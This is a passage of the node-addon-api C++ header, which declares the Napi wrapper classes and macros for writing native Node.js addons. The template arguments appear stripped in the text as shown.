NODE_ADDON_API_CPP_EXCEPTIONS #ifdef NODE_ADDON_API_ENABLE_MAYBE #define NAPI_MAYBE_THROW_IF_FAILED(env, status, type) \ NAPI_THROW_IF_FAILED(env, status, Napi::Nothing()) #define NAPI_RETURN_OR_THROW_IF_FAILED(env, status, result, type) \ NAPI_MAYBE_THROW_IF_FAILED(env, status, type); \ return Napi::Just(result); #else #define NAPI_MAYBE_THROW_IF_FAILED(env, status, type) \ NAPI_THROW_IF_FAILED(env, status, type()) #define NAPI_RETURN_OR_THROW_IF_FAILED(env, status, result, type) \ NAPI_MAYBE_THROW_IF_FAILED(env, status, type); \ return result; #endif #define NAPI_DISALLOW_ASSIGN(CLASS) void operator=(const CLASS&) = delete; #define NAPI_DISALLOW_COPY(CLASS) CLASS(const CLASS&) = delete; #define NAPI_DISALLOW_ASSIGN_COPY(CLASS) \ NAPI_DISALLOW_ASSIGN(CLASS) \ NAPI_DISALLOW_COPY(CLASS) #define NAPI_CHECK(condition, location, message) \ do { \ if (!(condition)) { \ Napi::Error::Fatal((location), (message)); \ } \ } while (0) // Internal check helper. Be careful that the formatted message length should be // max 255 size and null terminated. #define NAPI_INTERNAL_CHECK(expr, location, ...) \ do { \ if (!(expr)) { \ std::string msg = Napi::details::StringFormat(__VA_ARGS__); \ Napi::Error::Fatal(location, msg.c_str()); \ } \ } while (0) #define NAPI_INTERNAL_CHECK_EQ(actual, expected, value_format, location) \ do { \ auto actual_value = (actual); \ NAPI_INTERNAL_CHECK(actual_value == (expected), \ location, \ "Expected " #actual " to be equal to " #expected \ ", but got " value_format ".", \ actual_value); \ } while (0) #define NAPI_FATAL_IF_FAILED(status, location, message) \ NAPI_CHECK((status) == napi_ok, location, message) //////////////////////////////////////////////////////////////////////////////// /// Node-API C++ Wrapper Classes /// /// These classes wrap the "Node-API" ABI-stable C APIs for Node.js, providing a /// C++ object model and C++ exception-handling semantics with low overhead. /// The wrappers are all header-only so that they do not affect the ABI. //////////////////////////////////////////////////////////////////////////////// namespace Napi { #ifdef NAPI_CPP_CUSTOM_NAMESPACE // NAPI_CPP_CUSTOM_NAMESPACE can be #define'd per-addon to avoid symbol // conflicts between different instances of node-addon-api // First dummy definition of the namespace to make sure that Napi::(name) still // refers to the right things inside this file. namespace NAPI_CPP_CUSTOM_NAMESPACE {} using namespace NAPI_CPP_CUSTOM_NAMESPACE; namespace NAPI_CPP_CUSTOM_NAMESPACE { #endif // Forward declarations class Env; class Value; class Boolean; class Number; #if NAPI_VERSION > 5 class BigInt; #endif // NAPI_VERSION > 5 #if (NAPI_VERSION > 4) class Date; #endif class String; class Object; class Array; class ArrayBuffer; class Function; class Error; class PropertyDescriptor; class CallbackInfo; class TypedArray; template class TypedArrayOf; using Int8Array = TypedArrayOf; ///< Typed-array of signed 8-bit integers using Uint8Array = TypedArrayOf; ///< Typed-array of unsigned 8-bit integers using Int16Array = TypedArrayOf; ///< Typed-array of signed 16-bit integers using Uint16Array = TypedArrayOf; ///< Typed-array of unsigned 16-bit integers using Int32Array = TypedArrayOf; ///< Typed-array of signed 32-bit integers using Uint32Array = TypedArrayOf; ///< Typed-array of unsigned 32-bit integers using Float32Array = TypedArrayOf; ///< Typed-array of 32-bit floating-point values using Float64Array = TypedArrayOf; ///< Typed-array of 64-bit floating-point values #if NAPI_VERSION > 5 using BigInt64Array = TypedArrayOf; ///< Typed array of signed 64-bit integers using BigUint64Array = TypedArrayOf; ///< Typed array of unsigned 64-bit integers #endif // NAPI_VERSION > 5 /// Defines the signature of a Node-API C++ module's registration callback /// (init) function. using ModuleRegisterCallback = Object (*)(Env env, Object exports); class MemoryManagement; /// A simple Maybe type, representing an object which may or may not have a /// value. /// /// If an API method returns a Maybe<>, the API method can potentially fail /// either because an exception is thrown, or because an exception is pending, /// e.g. because a previous API call threw an exception that hasn't been /// caught yet. In that case, a "Nothing" value is returned. template class Maybe { public: bool IsNothing() const; bool IsJust() const; /// Short-hand for Unwrap(), which doesn't return a value. Could be used /// where the actual value of the Maybe is not needed like Object::Set. /// If this Maybe is nothing (empty), node-addon-api will crash the /// process. void Check() const; /// Return the value of type T contained in the Maybe. If this Maybe is /// nothing (empty), node-addon-api will crash the process. T Unwrap() const; /// Return the value of type T contained in the Maybe, or using a default /// value if this Maybe is nothing (empty). T UnwrapOr(const T& default_value) const; /// Converts this Maybe to a value of type T in the out. If this Maybe is /// nothing (empty), `false` is returned and `out` is left untouched. bool UnwrapTo(T* out) const; bool operator==(const Maybe& other) const; bool operator!=(const Maybe& other) const; private: Maybe(); explicit Maybe(const T& t); bool _has_value; T _value; template friend Maybe Nothing(); template friend Maybe Just(const U& u); }; template inline Maybe Nothing(); template inline Maybe Just(const T& t); #if defined(NODE_ADDON_API_ENABLE_MAYBE) template using MaybeOrValue = Maybe; #else template using MaybeOrValue = T; #endif #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER using node_addon_api_basic_env = node_api_nogc_env; using node_addon_api_basic_finalize = node_api_nogc_finalize; #else using node_addon_api_basic_env = napi_env; using node_addon_api_basic_finalize = napi_finalize; #endif /// Environment for Node-API values and operations. /// /// All Node-API values and operations must be associated with an environment. /// An environment instance is always provided to callback functions; that /// environment must then be used for any creation of Node-API values or other /// Node-API operations within the callback. (Many methods infer the /// environment from the `this` instance that the method is called on.) /// /// Multiple environments may co-exist in a single process or a thread. /// /// In the V8 JavaScript engine, a Node-API environment approximately /// corresponds to an Isolate. class BasicEnv { private: node_addon_api_basic_env _env; #if NAPI_VERSION > 5 template static void DefaultFini(Env, T* data); template static void DefaultFiniWithHint(Env, DataType* data, HintType* hint); #endif // NAPI_VERSION > 5 public: BasicEnv(node_addon_api_basic_env env); operator node_addon_api_basic_env() const; // Without these operator overloads, the error: // // Use of overloaded operator '==' is ambiguous (with operand types // 'Napi::Env' and 'Napi::Env') // // ... occurs when comparing foo.Env() == bar.Env() or foo.Env() == nullptr bool operator==(const BasicEnv& other) const { return _env == other._env; } bool operator==(std::nullptr_t /*other*/) const { return _env == nullptr; } #if NAPI_VERSION > 2 template class CleanupHook; template CleanupHook AddCleanupHook(Hook hook); template CleanupHook AddCleanupHook(Hook hook, Arg* arg); #endif // NAPI_VERSION > 2 #if NAPI_VERSION > 5 template T* GetInstanceData() const; template using Finalizer = void (*)(Env, T*); template fini = BasicEnv::DefaultFini> void SetInstanceData(T* data) const; template using FinalizerWithHint = void (*)(Env, DataType*, HintType*); template fini = BasicEnv::DefaultFiniWithHint> void SetInstanceData(DataType* data, HintType* hint) const; #endif // NAPI_VERSION > 5 #if NAPI_VERSION > 2 template class CleanupHook { public: CleanupHook(); CleanupHook(BasicEnv env, Hook hook, Arg* arg); CleanupHook(BasicEnv env, Hook hook); bool Remove(BasicEnv env); bool IsEmpty() const; private: static inline void Wrapper(void* data) NAPI_NOEXCEPT; static inline void WrapperWithArg(void* data) NAPI_NOEXCEPT; void (*wrapper)(void* arg); struct CleanupData { Hook hook; Arg* arg; } * data; }; #endif // NAPI_VERSION > 2 #if NAPI_VERSION > 8 const char* GetModuleFileName() const; #endif // NAPI_VERSION > 8 #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER template inline void PostFinalizer(FinalizerType finalizeCallback) const; template inline void PostFinalizer(FinalizerType finalizeCallback, T* data) const; template inline void PostFinalizer(FinalizerType finalizeCallback, T* data, Hint* finalizeHint) const; #endif // NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER friend class Env; }; class Env : public BasicEnv { public: Env(napi_env env); operator napi_env() const; Object Global() const; Value Undefined() const; Value Null() const; bool IsExceptionPending() const; Error GetAndClearPendingException() const; MaybeOrValue RunScript(const char* utf8script) const; MaybeOrValue RunScript(const std::string& utf8script) const; MaybeOrValue RunScript(String script) const; }; /// A JavaScript value of unknown type. /// /// For type-specific operations, convert to one of the Value subclasses using a /// `To*` or `As()` method. The `To*` methods do type coercion; the `As()` /// method does not. /// /// Napi::Value value = ... /// if (!value.IsString()) throw Napi::TypeError::New(env, "Invalid /// arg..."); Napi::String str = value.As(); // Cast to a /// string value /// /// Napi::Value anotherValue = ... /// bool isTruthy = anotherValue.ToBoolean(); // Coerce to a boolean value class Value { public: Value(); ///< Creates a new _empty_ Value instance. Value(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. /// Creates a JS value from a C++ primitive. /// /// `value` may be any of: /// - bool /// - Any integer type /// - Any floating point type /// - const char* (encoded using UTF-8, null-terminated) /// - const char16_t* (encoded using UTF-16-LE, null-terminated) /// - std::string (encoded using UTF-8) /// - std::u16string /// - napi::Value /// - napi_value template static Value From(napi_env env, const T& value); static void CheckCast(napi_env env, napi_value value); /// Converts to a Node-API value primitive. /// /// If the instance is _empty_, this returns `nullptr`. operator napi_value() const; /// Tests if this value strictly equals another value. bool operator==(const Value& other) const; /// Tests if this value does not strictly equal another value. bool operator!=(const Value& other) const; /// Tests if this value strictly equals another value. bool StrictEquals(const Value& other) const; /// Gets the environment the value is associated with. Napi::Env Env() const; /// Checks if the value is empty (uninitialized). /// /// An empty value is invalid, and most attempts to perform an operation on an /// empty value will result in an exception. Note an empty value is distinct /// from JavaScript `null` or `undefined`, which are valid values. /// /// When C++ exceptions are disabled at compile time, a method with a `Value` /// return type may return an empty value to indicate a pending exception. So /// when not using C++ exceptions, callers should check whether the value is /// empty before attempting to use it. bool IsEmpty() const; napi_valuetype Type() const; ///< Gets the type of the value. bool IsUndefined() const; ///< Tests if a value is an undefined JavaScript value. bool IsNull() const; ///< Tests if a value is a null JavaScript value. bool IsBoolean() const; ///< Tests if a value is a JavaScript boolean. bool IsNumber() const; ///< Tests if a value is a JavaScript number. #if NAPI_VERSION > 5 bool IsBigInt() const; ///< Tests if a value is a JavaScript bigint. #endif // NAPI_VERSION > 5 #if (NAPI_VERSION > 4) bool IsDate() const; ///< Tests if a value is a JavaScript date. #endif bool IsString() const; ///< Tests if a value is a JavaScript string. bool IsSymbol() const; ///< Tests if a value is a JavaScript symbol. bool IsArray() const; ///< Tests if a value is a JavaScript array. bool IsArrayBuffer() const; ///< Tests if a value is a JavaScript array buffer. bool IsTypedArray() const; ///< Tests if a value is a JavaScript typed array. bool IsObject() const; ///< Tests if a value is a JavaScript object. bool IsFunction() const; ///< Tests if a value is a JavaScript function. bool IsPromise() const; ///< Tests if a value is a JavaScript promise. bool IsDataView() const; ///< Tests if a value is a JavaScript data view. bool IsBuffer() const; ///< Tests if a value is a Node buffer. bool IsExternal() const; ///< Tests if a value is a pointer to external data. #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER bool IsSharedArrayBuffer() const; #endif /// Casts to another type of `Napi::Value`, when the actual type is known or /// assumed. /// /// This conversion does NOT coerce the type. Calling any methods /// inappropriate for the actual value type will throw `Napi::Error`. /// /// If `NODE_ADDON_API_ENABLE_TYPE_CHECK_ON_AS` is defined, this method /// asserts that the actual type is the expected type. template T As() const; // Unsafe Value::As(), should be avoided. template T UnsafeAs() const; MaybeOrValue ToBoolean() const; ///< Coerces a value to a JavaScript boolean. MaybeOrValue ToNumber() const; ///< Coerces a value to a JavaScript number. MaybeOrValue ToString() const; ///< Coerces a value to a JavaScript string. MaybeOrValue ToObject() const; ///< Coerces a value to a JavaScript object. protected: /// !cond INTERNAL napi_env _env; napi_value _value; /// !endcond }; /// A JavaScript boolean value. class Boolean : public Value { public: static Boolean New(napi_env env, ///< Node-API environment bool value ///< Boolean value ); static void CheckCast(napi_env env, napi_value value); Boolean(); ///< Creates a new _empty_ Boolean instance. Boolean(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. operator bool() const; ///< Converts a Boolean value to a boolean primitive. bool Value() const; ///< Converts a Boolean value to a boolean primitive. }; /// A JavaScript number value. class Number : public Value { public: static Number New(napi_env env, ///< Node-API environment double value ///< Number value ); static void CheckCast(napi_env env, napi_value value); Number(); ///< Creates a new _empty_ Number instance. Number(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. operator int32_t() const; ///< Converts a Number value to a 32-bit signed integer value. operator uint32_t() const; ///< Converts a Number value to a 32-bit unsigned integer value. operator int64_t() const; ///< Converts a Number value to a 64-bit signed integer value. operator float() const; ///< Converts a Number value to a 32-bit floating-point value. operator double() const; ///< Converts a Number value to a 64-bit floating-point value. int32_t Int32Value() const; ///< Converts a Number value to a 32-bit signed integer value. uint32_t Uint32Value() const; ///< Converts a Number value to a 32-bit unsigned integer value. int64_t Int64Value() const; ///< Converts a Number value to a 64-bit signed integer value. float FloatValue() const; ///< Converts a Number value to a 32-bit floating-point value. double DoubleValue() const; ///< Converts a Number value to a 64-bit floating-point value. }; #if NAPI_VERSION > 5 /// A JavaScript bigint value. class BigInt : public Value { public: static BigInt New(napi_env env, ///< Node-API environment int64_t value ///< Number value ); static BigInt New(napi_env env, ///< Node-API environment uint64_t value ///< Number value ); /// Creates a new BigInt object using a specified sign bit and a /// specified list of digits/words. /// The resulting number is calculated as: /// (-1)^sign_bit * (words[0] * (2^64)^0 + words[1] * (2^64)^1 + ...) static BigInt New(napi_env env, ///< Node-API environment int sign_bit, ///< Sign bit. 1 if negative. size_t word_count, ///< Number of words in array const uint64_t* words ///< Array of words ); static void CheckCast(napi_env env, napi_value value); BigInt(); ///< Creates a new _empty_ BigInt instance. BigInt(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. int64_t Int64Value(bool* lossless) const; ///< Converts a BigInt value to a 64-bit signed integer value. uint64_t Uint64Value(bool* lossless) const; ///< Converts a BigInt value to a 64-bit unsigned integer value. size_t WordCount() const; ///< The number of 64-bit words needed to store ///< the result of ToWords(). /// Writes the contents of this BigInt to a specified memory location. /// `sign_bit` must be provided and will be set to 1 if this BigInt is /// negative. /// `*word_count` has to be initialized to the length of the `words` array. /// Upon return, it will be set to the actual number of words that would /// be needed to store this BigInt (i.e. the return value of `WordCount()`). void ToWords(int* sign_bit, size_t* word_count, uint64_t* words); }; #endif // NAPI_VERSION > 5 #if (NAPI_VERSION > 4) /// A JavaScript date value. class Date : public Value { public: /// Creates a new Date value from a double primitive. static Date New(napi_env env, ///< Node-API environment double value ///< Number value ); /// Creates a new Date value from a std::chrono::system_clock::time_point. static Date New( napi_env env, ///< Node-API environment std::chrono::system_clock::time_point time_point ///< Time point value ); static void CheckCast(napi_env env, napi_value value); Date(); ///< Creates a new _empty_ Date instance. Date(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. operator double() const; ///< Converts a Date value to double primitive double ValueOf() const; ///< Converts a Date value to a double primitive. }; #endif /// A JavaScript string or symbol value (that can be used as a property name). class Name : public Value { public: static void CheckCast(napi_env env, napi_value value); Name(); ///< Creates a new _empty_ Name instance. Name(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. }; /// A JavaScript string value. class String : public Name { public: /// Creates a new String value from a UTF-8 encoded C++ string. static String New(napi_env env, ///< Node-API environment const std::string& value ///< UTF-8 encoded C++ string ); /// Creates a new String value from a UTF-16 encoded C++ string. static String New(napi_env env, ///< Node-API environment const std::u16string& value ///< UTF-16 encoded C++ string ); /// Creates a new String value from a UTF-8 encoded C++ string view. static String New(napi_env env, ///< Node-API environment std::string_view value ///< UTF-8 encoded C++ string view ); /// Creates a new String value from a UTF-8 encoded C string. static String New( napi_env env, ///< Node-API environment const char* value ///< UTF-8 encoded null-terminated C string ); /// Creates a new String value from a UTF-16 encoded C string. static String New( napi_env env, ///< Node-API environment const char16_t* value ///< UTF-16 encoded null-terminated C string ); /// Creates a new String value from a UTF-8 encoded C string with specified /// length. static String New(napi_env env, ///< Node-API environment const char* value, ///< UTF-8 encoded C string (not ///< necessarily null-terminated) size_t length ///< length of the string in bytes ); /// Creates a new String value from a UTF-16 encoded C string with specified /// length. static String New( napi_env env, ///< Node-API environment const char16_t* value, ///< UTF-16 encoded C string (not necessarily ///< null-terminated) size_t length ///< Length of the string in 2-byte code units ); /// Creates a new String based on the original object's type. /// /// `value` may be any of: /// - const char* (encoded using UTF-8, null-terminated) /// - const char16_t* (encoded using UTF-16-LE, null-terminated) /// - std::string (encoded using UTF-8) /// - std::u16string template static String From(napi_env env, const T& value); static void CheckCast(napi_env env, napi_value value); String(); ///< Creates a new _empty_ String instance. String(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. operator std::string() const; ///< Converts a String value to a UTF-8 encoded C++ string. operator std::u16string() const; ///< Converts a String value to a UTF-16 encoded C++ string. std::string Utf8Value() const; ///< Converts a String value to a UTF-8 encoded C++ string. std::u16string Utf16Value() const; ///< Converts a String value to a UTF-16 encoded C++ string. }; /// A JavaScript symbol value. class Symbol : public Name { public: /// Creates a new Symbol value with an optional description. static Symbol New( napi_env env, ///< Node-API environment const char* description = nullptr ///< Optional UTF-8 encoded null-terminated C string /// describing the symbol ); /// Creates a new Symbol value with a description. static Symbol New( napi_env env, ///< Node-API environment const std::string& description ///< UTF-8 encoded C++ string describing the symbol ); /// Creates a new Symbol value with a description. static Symbol New( napi_env env, ///< Node-API environment std::string_view description ///< UTF-8 encoded C++ string view describing the symbol ); /// Creates a new Symbol value with a description. static Symbol New(napi_env env, ///< Node-API environment String description ///< String value describing the symbol ); /// Creates a new Symbol value with a description. static Symbol New( napi_env env, ///< Node-API environment napi_value description ///< String value describing the symbol ); /// Get a public Symbol (e.g. Symbol.iterator). static MaybeOrValue WellKnown(napi_env, const std::string& name); // Create a symbol in the global registry, UTF-8 Encoded cpp string static MaybeOrValue For(napi_env env, const std::string& description); // Create a symbol in the global registry, UTF-8 encoded cpp string view static MaybeOrValue For(napi_env env, std::string_view description); // Create a symbol in the global registry, C style string (null terminated) static MaybeOrValue For(napi_env env, const char* description); // Create a symbol in the global registry, String value describing the symbol static MaybeOrValue For(napi_env env, String description); // Create a symbol in the global registry, napi_value describing the symbol static MaybeOrValue For(napi_env env, napi_value description); static void CheckCast(napi_env env, napi_value value); Symbol(); ///< Creates a new _empty_ Symbol instance. Symbol(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. }; class TypeTaggable : public Value { public: #if NAPI_VERSION >= 8 void TypeTag(const napi_type_tag* type_tag) const; bool CheckTypeTag(const napi_type_tag* type_tag) const; #endif // NAPI_VERSION >= 8 protected: TypeTaggable(); TypeTaggable(napi_env env, napi_value value); }; /// A JavaScript object value. class Object : public TypeTaggable { public: /// Enables property and element assignments using indexing syntax. /// /// This is a convenient helper to get and set object properties. As /// getting and setting object properties may throw with JavaScript /// exceptions, it is notable that these operations may fail. /// When NODE_ADDON_API_ENABLE_MAYBE is defined, the process will abort /// on JavaScript exceptions. /// /// Example: /// /// Napi::Value propertyValue = object1['A']; /// object2['A'] = propertyValue; /// Napi::Value elementValue = array[0]; /// array[1] = elementValue; template class PropertyLValue { public: /// Converts an L-value to a value. operator Value() const; /// Assigns a value to the property. The type of value can be /// anything supported by `Object::Set`. template PropertyLValue& operator=(ValueType value); /// Converts an L-value to a value. For convenience. Value AsValue() const; private: PropertyLValue() = delete; PropertyLValue(Object object, Key key); napi_env _env; napi_value _object; Key _key; friend class Napi::Object; }; /// Creates a new Object value. static Object New(napi_env env ///< Node-API environment ); static void CheckCast(napi_env env, napi_value value); Object(); ///< Creates a new _empty_ Object instance. Object(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. /// Gets or sets a named property. PropertyLValue operator[]( const char* utf8name ///< UTF-8 encoded null-terminated property name ); /// Gets or sets a named property. PropertyLValue operator[]( const std::string& utf8name ///< UTF-8 encoded property name ); /// Gets or sets an indexed property or array element. PropertyLValue operator[]( uint32_t index /// Property / element index ); /// Gets or sets an indexed property or array element. PropertyLValue operator[](Value index /// Property / element index ) const; /// Gets a named property. MaybeOrValue operator[]( const char* utf8name ///< UTF-8 encoded null-terminated property name ) const; /// Gets a named property. MaybeOrValue operator[]( const std::string& utf8name ///< UTF-8 encoded property name ) const; /// Gets an indexed property or array element. MaybeOrValue operator[](uint32_t index ///< Property / element index ) const; /// Checks whether a property is present. MaybeOrValue Has(napi_value key ///< Property key primitive ) const; /// Checks whether a property is present. MaybeOrValue Has(Value key ///< Property key ) const; /// Checks whether a named property is present. MaybeOrValue Has( const char* utf8name ///< UTF-8 encoded null-terminated property name ) const; /// Checks whether a named property is present. MaybeOrValue Has( const std::string& utf8name ///< UTF-8 encoded property name ) const; /// Checks whether a own property is present. MaybeOrValue HasOwnProperty(napi_value key ///< Property key primitive ) const; /// Checks whether a own property is present. MaybeOrValue HasOwnProperty(Value key ///< Property key ) const; /// Checks whether a own property is present. MaybeOrValue HasOwnProperty( const char* utf8name ///< UTF-8 encoded null-terminated property name ) const; /// Checks whether a own property is present. MaybeOrValue HasOwnProperty( const std::string& utf8name ///< UTF-8 encoded property name ) const; /// Gets a property. MaybeOrValue Get(napi_value key ///< Property key primitive ) const; /// Gets a property. MaybeOrValue Get(Value key ///< Property key ) const; /// Gets a named property. MaybeOrValue Get( const char* utf8name ///< UTF-8 encoded null-terminated property name ) const; /// Gets a named property. MaybeOrValue Get( const std::string& utf8name ///< UTF-8 encoded property name ) const; /// Sets a property. template MaybeOrValue Set(napi_value key, ///< Property key primitive const ValueType& value ///< Property value primitive ) const; /// Sets a property. template MaybeOrValue Set(Value key, ///< Property key const ValueType& value ///< Property value ) const; /// Sets a named property. template MaybeOrValue Set( const char* utf8name, ///< UTF-8 encoded null-terminated property name const ValueType& value) const; /// Sets a named property. template MaybeOrValue Set( const std::string& utf8name, ///< UTF-8 encoded property name const ValueType& value ///< Property value primitive ) const; /// Delete property. MaybeOrValue Delete(napi_value key ///< Property key primitive ) const; /// Delete property. MaybeOrValue Delete(Value key ///< Property key ) const; /// Delete property. MaybeOrValue Delete( const char* utf8name ///< UTF-8 encoded null-terminated property name ) const; /// Delete property. MaybeOrValue Delete( const std::string& utf8name ///< UTF-8 encoded property name ) const; /// Checks whether an indexed property is present. MaybeOrValue Has(uint32_t index ///< Property / element index ) const; /// Gets an indexed property or array element. MaybeOrValue Get(uint32_t index ///< Property / element index ) const; /// Sets an indexed property or array element. template MaybeOrValue Set(uint32_t index, ///< Property / element index const ValueType& value ///< Property value primitive ) const; /// Deletes an indexed property or array element. MaybeOrValue Delete(uint32_t index ///< Property / element index ) const; /// This operation can fail in case of Proxy.[[OwnPropertyKeys]] and /// Proxy.[[GetOwnProperty]] calling into JavaScript. See: /// - /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys /// - /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p MaybeOrValue GetPropertyNames() const; ///< Get all property names /// Defines a property on the object. /// /// This operation can fail in case of Proxy.[[DefineOwnProperty]] calling /// into JavaScript. See /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc MaybeOrValue DefineProperty( const PropertyDescriptor& property ///< Descriptor for the property to be defined ) const; /// Defines properties on the object. /// /// This operation can fail in case of Proxy.[[DefineOwnProperty]] calling /// into JavaScript. See /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc MaybeOrValue DefineProperties( const std::initializer_list& properties ///< List of descriptors for the properties to be defined ) const; /// Defines properties on the object. /// /// This operation can fail in case of Proxy.[[DefineOwnProperty]] calling /// into JavaScript. See /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc MaybeOrValue DefineProperties( const std::vector& properties ///< Vector of descriptors for the properties to be defined ) const; /// Checks if an object is an instance created by a constructor function. /// /// This is equivalent to the JavaScript `instanceof` operator. /// /// This operation can fail in case of Proxy.[[GetPrototypeOf]] calling into /// JavaScript. /// See /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof MaybeOrValue InstanceOf( const Function& constructor ///< Constructor function ) const; template inline void AddFinalizer(Finalizer finalizeCallback, T* data) const; template inline void AddFinalizer(Finalizer finalizeCallback, T* data, Hint* finalizeHint) const; #ifdef NODE_ADDON_API_CPP_EXCEPTIONS class const_iterator; inline const_iterator begin() const; inline const_iterator end() const; class iterator; inline iterator begin(); inline iterator end(); #endif // NODE_ADDON_API_CPP_EXCEPTIONS #if NAPI_VERSION >= 8 /// This operation can fail in case of Proxy.[[GetPrototypeOf]] calling into /// JavaScript. /// See /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof MaybeOrValue Freeze() const; /// This operation can fail in case of Proxy.[[GetPrototypeOf]] calling into /// JavaScript. /// See /// https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof MaybeOrValue Seal() const; #endif // NAPI_VERSION >= 8 MaybeOrValue GetPrototype() const; #ifdef NODE_API_EXPERIMENTAL_HAS_SET_PROTOTYPE MaybeOrValue SetPrototype(const Object& value) const; #endif }; template class External : public TypeTaggable { public: static External New(napi_env env, T* data); // Finalizer must implement `void operator()(Env env, T* data)`. template static External New(napi_env env, T* data, Finalizer finalizeCallback); // Finalizer must implement `void operator()(Env env, T* data, Hint* hint)`. template static External New(napi_env env, T* data, Finalizer finalizeCallback, Hint* finalizeHint); static void CheckCast(napi_env env, napi_value value); External(); External(napi_env env, napi_value value); T* Data() const; }; class Array : public Object { public: static Array New(napi_env env); static Array New(napi_env env, size_t length); static void CheckCast(napi_env env, napi_value value); Array(); Array(napi_env env, napi_value value); uint32_t Length() const; }; #ifdef NODE_ADDON_API_CPP_EXCEPTIONS class Object::const_iterator { private: enum class Type { BEGIN, END }; inline const_iterator(const Object* object, const Type type); public: inline const_iterator& operator++(); inline bool operator==(const const_iterator& other) const; inline bool operator!=(const const_iterator& other) const; inline const std::pair> operator*() const; private: const Napi::Object* _object; Array _keys; uint32_t _index; friend class Object; }; class Object::iterator { private: enum class Type { BEGIN, END }; inline iterator(Object* object, const Type type); public: inline iterator& operator++(); inline bool operator==(const iterator& other) const; inline bool operator!=(const iterator& other) const; inline std::pair> operator*(); private: Napi::Object* _object; Array _keys; uint32_t _index; friend class Object; }; #endif // NODE_ADDON_API_CPP_EXCEPTIONS #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER class SharedArrayBuffer : public Object { public: SharedArrayBuffer(); SharedArrayBuffer(napi_env env, napi_value value); static SharedArrayBuffer New(napi_env env, size_t byteLength); static void CheckCast(napi_env env, napi_value value); void* Data(); size_t ByteLength(); }; #endif /// A JavaScript array buffer value. class ArrayBuffer : public Object { public: /// Creates a new ArrayBuffer instance over a new automatically-allocated /// buffer. static ArrayBuffer New( napi_env env, ///< Node-API environment size_t byteLength ///< Length of the buffer to be allocated, in bytes ); #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED /// Creates a new ArrayBuffer instance, using an external buffer with /// specified byte length. static ArrayBuffer New( napi_env env, ///< Node-API environment void* externalData, ///< Pointer to the external buffer to be used by ///< the array size_t byteLength ///< Length of the external buffer to be used by the ///< array, in bytes ); /// Creates a new ArrayBuffer instance, using an external buffer with /// specified byte length. template static ArrayBuffer New( napi_env env, ///< Node-API environment void* externalData, ///< Pointer to the external buffer to be used by ///< the array size_t byteLength, ///< Length of the external buffer to be used by the ///< array, /// in bytes Finalizer finalizeCallback ///< Function to be called when the array ///< buffer is destroyed; /// must implement `void operator()(Env env, /// void* externalData)` ); /// Creates a new ArrayBuffer instance, using an external buffer with /// specified byte length. template static ArrayBuffer New( napi_env env, ///< Node-API environment void* externalData, ///< Pointer to the external buffer to be used by ///< the array size_t byteLength, ///< Length of the external buffer to be used by the ///< array, /// in bytes Finalizer finalizeCallback, ///< Function to be called when the array ///< buffer is destroyed; /// must implement `void operator()(Env /// env, void* externalData, Hint* hint)` Hint* finalizeHint ///< Hint (second parameter) to be passed to the ///< finalize callback ); #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED static void CheckCast(napi_env env, napi_value value); ArrayBuffer(); ///< Creates a new _empty_ ArrayBuffer instance. ArrayBuffer(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. void* Data(); ///< Gets a pointer to the data buffer. size_t ByteLength(); ///< Gets the length of the array buffer in bytes. #if NAPI_VERSION >= 7 bool IsDetached() const; void Detach(); #endif // NAPI_VERSION >= 7 }; /// A JavaScript typed-array value with unknown array type. /// /// For type-specific operations, cast to a `TypedArrayOf` instance using the /// `As()` method: /// /// Napi::TypedArray array = ... /// if (t.TypedArrayType() == napi_int32_array) { /// Napi::Int32Array int32Array = t.As(); /// } class TypedArray : public Object { public: static void CheckCast(napi_env env, napi_value value); TypedArray(); ///< Creates a new _empty_ TypedArray instance. TypedArray(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. napi_typedarray_type TypedArrayType() const; ///< Gets the type of this typed-array. // Gets the backing `ArrayBuffer`. // // If this `TypedArray` is not backed by an `ArrayBuffer`, this method will // terminate the process with a fatal error when using // `NODE_ADDON_API_ENABLE_TYPE_CHECK_ON_AS` or exhibit undefined behavior // otherwise. Use `Buffer()` instead to get the backing buffer without // assuming its type. Napi::ArrayBuffer ArrayBuffer() const; // Gets the backing buffer (an `ArrayBuffer` or `SharedArrayBuffer`). // // Use `IsArrayBuffer()` or `IsSharedArrayBuffer()` to check the type of the // backing buffer prior to casting with `As()`. Napi::Value Buffer() const; uint8_t ElementSize() const; ///< Gets the size in bytes of one element in the array. size_t ElementLength() const; ///< Gets the number of elements in the array. size_t ByteOffset() const; ///< Gets the offset into the buffer where the array starts. size_t ByteLength() const; ///< Gets the length of the array in bytes. protected: /// !cond INTERNAL napi_typedarray_type _type; size_t _length; TypedArray(napi_env env, napi_value value, napi_typedarray_type type, size_t length); template static #if defined(NAPI_HAS_CONSTEXPR) constexpr #endif napi_typedarray_type TypedArrayTypeForPrimitiveType() { return std::is_same::value ? napi_int8_array : std::is_same::value ? napi_uint8_array : std::is_same::value ? napi_int16_array : std::is_same::value ? napi_uint16_array : 